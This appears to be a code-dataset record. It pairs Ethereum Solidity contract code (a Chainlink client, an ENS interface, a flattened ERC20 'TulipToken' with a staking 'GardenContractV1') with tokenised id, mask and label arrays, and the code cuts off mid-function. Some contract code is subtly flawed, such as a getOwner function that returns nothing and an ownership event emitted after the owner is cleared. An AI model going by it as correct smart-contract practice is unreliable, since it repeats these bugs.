_req, uint256 _payment) internal returns (bytes32 requestId) { requestId = keccak256(abi.encodePacked(this, requests)); _req.nonce = requests; pendingRequests[requestId] = _oracle; emit ChainlinkRequested(requestId); require(link.transferAndCall(_oracle, _payment, encodeRequest(_req)), "unable to transferAndCall to oracle"); requests += 1; return requestId; } /** * @notice Allows a request to be cancelled if it has not been fulfilled * @dev Requires keeping track of the expiration value emitted from the oracle contract. * Deletes the request from the `pendingRequests` mapping. * Emits ChainlinkCancelled event. * @param _requestId The request ID * @param _payment The amount of LINK sent for the request * @param _callbackFunc The callback function specified for the request * @param _expiration The time of the expiration for the request */ function cancelChainlinkRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) internal { ChainlinkRequestInterface requested = ChainlinkRequestInterface(pendingRequests[_requestId]); delete pendingRequests[_requestId]; emit ChainlinkCancelled(_requestId); requested.cancelOracleRequest(_requestId, _payment, _callbackFunc, _expiration); } /** * @notice Sets the stored oracle address * @param _oracle The address of the oracle contract */ function setChainlinkOracle(address _oracle) internal { oracle = ChainlinkRequestInterface(_oracle); } /** * @notice Sets the LINK token address * @param _link The address of the LINK token contract */ function setChainlinkToken(address _link) internal { link = LinkTokenInterface(_link); } /** * @notice Sets the Chainlink token address for the public * network as given by the Pointer contract */ function setPublicChainlinkToken() internal { setChainlinkToken(PointerInterface(LINK_TOKEN_POINTER).getAddress()); } /** * @notice Retrieves the stored address of the LINK token * @return The address of the LINK token */ function chainlinkTokenAddress() internal view returns (address) { return address(link); } /** * @notice Retrieves the stored address of the oracle contract * @return The address of the oracle contract */ function chainlinkOracleAddress() internal view returns (address) { return address(oracle); } /** * @notice Allows for a request which was created on another contract to be fulfilled * on this contract * @param _oracle The address of the oracle contract that will fulfill the request * @param _requestId The request ID used for the response */ function addChainlinkExternalRequest(address _oracle, bytes32 _requestId) internal notPendingRequest(_requestId) { pendingRequests[_requestId] = _oracle; } /** * @notice Sets the stored oracle and LINK token contracts with the addresses resolved by ENS * @dev Accounts for subnodes having different resolvers * @param _ens The address of the ENS contract * @param _node The ENS node hash */ function useChainlinkWithENS(address _ens, bytes32 _node) internal { ens = ENSInterface(_ens); ensNode = _node; bytes32 linkSubnode = keccak256(abi.encodePacked(ensNode, ENS_TOKEN_SUBNAME)); ENSResolver resolver = ENSResolver(ens.resolver(linkSubnode)); setChainlinkToken(resolver.addr(linkSubnode)); updateChainlinkOracleWithENS(); } /** * @notice Sets the stored oracle contract with the address resolved by ENS * @dev This may be called on its own as long as `useChainlinkWithENS` has been called previously */ function updateChainlinkOracleWithENS() internal { bytes32 oracleSubnode = keccak256(abi.encodePacked(ensNode, ENS_ORACLE_SUBNAME)); ENSResolver resolver = ENSResolver(ens.resolver(oracleSubnode)); setChainlinkOracle(resolver.addr(oracleSubnode)); } /** * @notice Encodes the request to be sent to the oracle contract * @dev The Chainlink node expects values to be in order for the request to be picked up. Order of types * will be validated in the oracle contract. * @param _req The initialized Chainlink Request * @return The bytes payload for the `transferAndCall` method */ function encodeRequest(Chainlink.Request memory _req) private view returns (bytes memory) { return abi.encodeWithSelector( oracle.oracleRequest.selector, SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of LINK sent _req.id, _req.callbackAddress, _req.callbackFunctionId, _req.nonce, ARGS_VERSION, _req.buf.buf); } /** * @notice Ensures that the fulfillment is valid for this contract * @dev Use if the contract developer prefers methods instead of modifiers for validation * @param _requestId The request ID for fulfillment */ function validateChainlinkCallback(bytes32 _requestId) internal recordChainlinkFulfillment(_requestId) // solium-disable-next-line no-empty-blocks {} /** * @dev Reverts if the sender is not the oracle of the request. * Emits ChainlinkFulfilled event. * @param _requestId The request ID for fulfillment */ modifier recordChainlinkFulfillment(bytes32 _requestId) { require(msg.sender == pendingRequests[_requestId], "Source must be the oracle of the request"); delete pendingRequests[_requestId]; emit ChainlinkFulfilled(_requestId); _; } /** * @dev Reverts if the request is already pending * @param _requestId The request ID for fulfillment */ modifier notPendingRequest(bytes32 _requestId) { require(pendingRequests[_requestId] == address(0), "Request is already pending"); _; } }
Logged when the owner of a node assigns a new owner to a subnode. Logged when the owner of a node transfers ownership to a new account. Logged when the resolver for a node changes. Logged when the TTL of a node changes
interface ENSInterface { event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); event Transfer(bytes32 indexed node, address owner); event NewResolver(bytes32 indexed node, address resolver); event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external; function setResolver(bytes32 node, address resolver) external; function setOwner(bytes32 node, address owner) external; function setTTL(bytes32 node, uint64 ttl) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); }
1,839,764
[ 1, 19862, 1347, 326, 3410, 434, 279, 756, 22698, 279, 394, 3410, 358, 279, 28300, 18, 1827, 2423, 1347, 326, 3410, 434, 279, 756, 29375, 23178, 358, 279, 394, 2236, 18, 1827, 2423, 1347, 326, 5039, 364, 279, 756, 3478, 18, 1827, 2423, 1347, 326, 14076, 434, 279, 756, 3478, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 512, 3156, 1358, 288, 203, 203, 565, 871, 1166, 5541, 12, 3890, 1578, 8808, 756, 16, 1731, 1578, 8808, 1433, 16, 1758, 3410, 1769, 203, 203, 565, 871, 12279, 12, 3890, 1578, 8808, 756, 16, 1758, 3410, 1769, 203, 203, 565, 871, 1166, 4301, 12, 3890, 1578, 8808, 756, 16, 1758, 5039, 1769, 203, 203, 565, 871, 1166, 11409, 12, 3890, 1578, 8808, 756, 16, 2254, 1105, 6337, 1769, 203, 203, 203, 565, 445, 19942, 2159, 5541, 12, 3890, 1578, 756, 16, 1731, 1578, 1433, 16, 1758, 3410, 13, 3903, 31, 203, 565, 445, 444, 4301, 12, 3890, 1578, 756, 16, 1758, 5039, 13, 3903, 31, 203, 565, 445, 31309, 12, 3890, 1578, 756, 16, 1758, 3410, 13, 3903, 31, 203, 565, 445, 444, 11409, 12, 3890, 1578, 756, 16, 2254, 1105, 6337, 13, 3903, 31, 203, 565, 445, 3410, 12, 3890, 1578, 756, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 5039, 12, 3890, 1578, 756, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 6337, 12, 3890, 1578, 756, 13, 3903, 1476, 1135, 261, 11890, 1105, 1769, 203, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: contracts/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: contracts/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 9; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } // File: contracts/contracts/ownership/MultOwnable.sol pragma solidity ^0.5.0; contract MultOwnable { address[] private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner.push(msg.sender); emit OwnershipTransferred(address(0), _owner[0]); } function checkOwner() private view returns (bool) { for (uint8 i = 0; i < _owner.length; i++) { if (_owner[i] == msg.sender) { return true; } } return false; } function checkNewOwner(address _address) private view returns (bool) { for (uint8 i = 0; i < _owner.length; i++) { if (_owner[i] == _address) { return false; } } return true; } modifier isAnOwner() { require(checkOwner(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public isAnOwner { for (uint8 i = 0; i < _owner.length; i++) { if (_owner[i] == msg.sender) { _owner[i] = address(0); emit OwnershipTransferred(_owner[i], msg.sender); } } } function getOwners() public view returns (address[] memory) { return _owner; } function addOwnerShip(address newOwner) public isAnOwner { _addOwnerShip(newOwner); } function _addOwnerShip(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); require(checkNewOwner(newOwner), "Owner already exists"); _owner.push(newOwner); emit OwnershipTransferred(_owner[_owner.length - 1], newOwner); } } // File: contracts/TulipToken.sol pragma solidity ^0.5.16; contract TulipToken is MultOwnable, ERC20{ constructor (string memory name, string memory symbol) public ERC20(name, symbol) MultOwnable(){ } function contractMint(address account, uint256 amount) external isAnOwner{ _mint(account, amount); } function contractBurn(address account, uint256 amount) external isAnOwner{ _burn(account, amount); } /* ========== RESTRICTED FUNCTIONS ========== */ function addOwner(address _newOwner) external isAnOwner { addOwnerShip(_newOwner); } function getOwner() external view isAnOwner{ getOwners(); } function renounceOwner() external isAnOwner { renounceOwnership(); } } // File: contracts/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * > Note that this information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * `IERC20.balanceOf` and `IERC20.transfer`. */ function decimals() public view returns (uint8) { return _decimals; } } // File: contracts/contracts/utils/Address.sol pragma solidity ^0.5.0; /** * @dev Collection of functions related to the address type, */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: contracts/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/contracts/utils/ReentrancyGuard.sol pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier * available, which can be aplied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. */ contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } // File: contracts/GardenContractV1.sol pragma solidity ^0.5.16; contract GardenContractV1 is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for TulipToken; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ uint256 private _epochBlockStart; uint256 private _epochRedTulipStart; uint8 private _pinkTulipDivider; uint256 private _decimalConverter = 10**9; struct tulipToken{ TulipToken token; uint256 totalSupply; mapping(address => uint256) balances; mapping(address => uint256) periodFinish; } tulipToken[3] private _tulipToken; struct externalToken{ IERC20 token; uint256 rewardsDuration; uint256 rewardsMultiplier; string rewardsMultiplierType; uint256 totalSupply; address tokenAddress; mapping(address => uint256) balances; mapping(address => uint256) periodFinish; } externalToken[] private _externalToken; /* ========== CONSTRUCTOR ========== */ constructor(address _seedToken, address _basicTulipToken, address _advTulipToken) public Ownable() { _tulipToken[0].token = TulipToken(_seedToken); _tulipToken[1].token = TulipToken(_basicTulipToken); _tulipToken[2].token = TulipToken(_advTulipToken); _pinkTulipDivider = 100; _epochBlockStart = 1600610400; _epochRedTulipStart = _epochBlockStart; } /* ========== VIEWS ========== */ /* ========== internal ========== */ function totalSupply(string calldata name) external view returns (uint256) { uint8 i = tulipType(name); return _tulipToken[i].totalSupply; } function durationRemaining(address account, string calldata name) external view returns (uint256) { uint8 i = tulipType(name); return _tulipToken[i].periodFinish[account].sub(now); } function balanceOf(address account, string calldata name) external view returns (uint256) { uint8 i = tulipType(name); return _tulipToken[i].balances[account]; } /* ========== external ========== */ function totalExternalSupply(address extToken) external view returns (uint256) { uint8 i = externalTokenIndex(extToken); return _externalToken[i].totalSupply; } function externalDurationRemaining(address account, address extToken) external view returns (uint256) { uint8 i = externalTokenIndex(extToken); return _externalToken[i].periodFinish[account].sub(now); } function externalBalanceOf(address account, address extToken) external view returns (uint256) { uint8 i = externalTokenIndex(extToken); return _externalToken[i].balances[account]; } /* ========== MUTATIVE FUNCTIONS ========== */ /* ========== internal garden ========== */ function plant(uint256 amount, string calldata name) external nonReentrant { require(now > _epochBlockStart, "The garden is being set up!"); uint8 i = tulipType(name); require(i < 99, "Not a valid tulip name"); require(amount >= 1, "Cannot stake less than 1"); if(i == 1){ uint256 modulo = amount % 100; require(modulo == 0, "If planting a pink tulip, has to be multiple of 100"); } require(_tulipToken[i].balances[msg.sender] == 0 && (_tulipToken[i].periodFinish[msg.sender] == 0 || now > _tulipToken[i].periodFinish[msg.sender]), "You must withdraw the previous crop before planting more!"); _tulipToken[i].token.safeTransferFrom(msg.sender, address(this), amount.mul(_decimalConverter)); _tulipToken[i].totalSupply = _tulipToken[i].totalSupply.add(amount); _tulipToken[i].balances[msg.sender] = _tulipToken[i].balances[msg.sender].add(amount); setTimeStamp(i); emit Staked(msg.sender, amount); } function withdraw(string memory name) public nonReentrant { uint8 i = tulipType(name); require(i < 99, "Not a valid tulip name"); require(_tulipToken[i].balances[msg.sender] > 0, 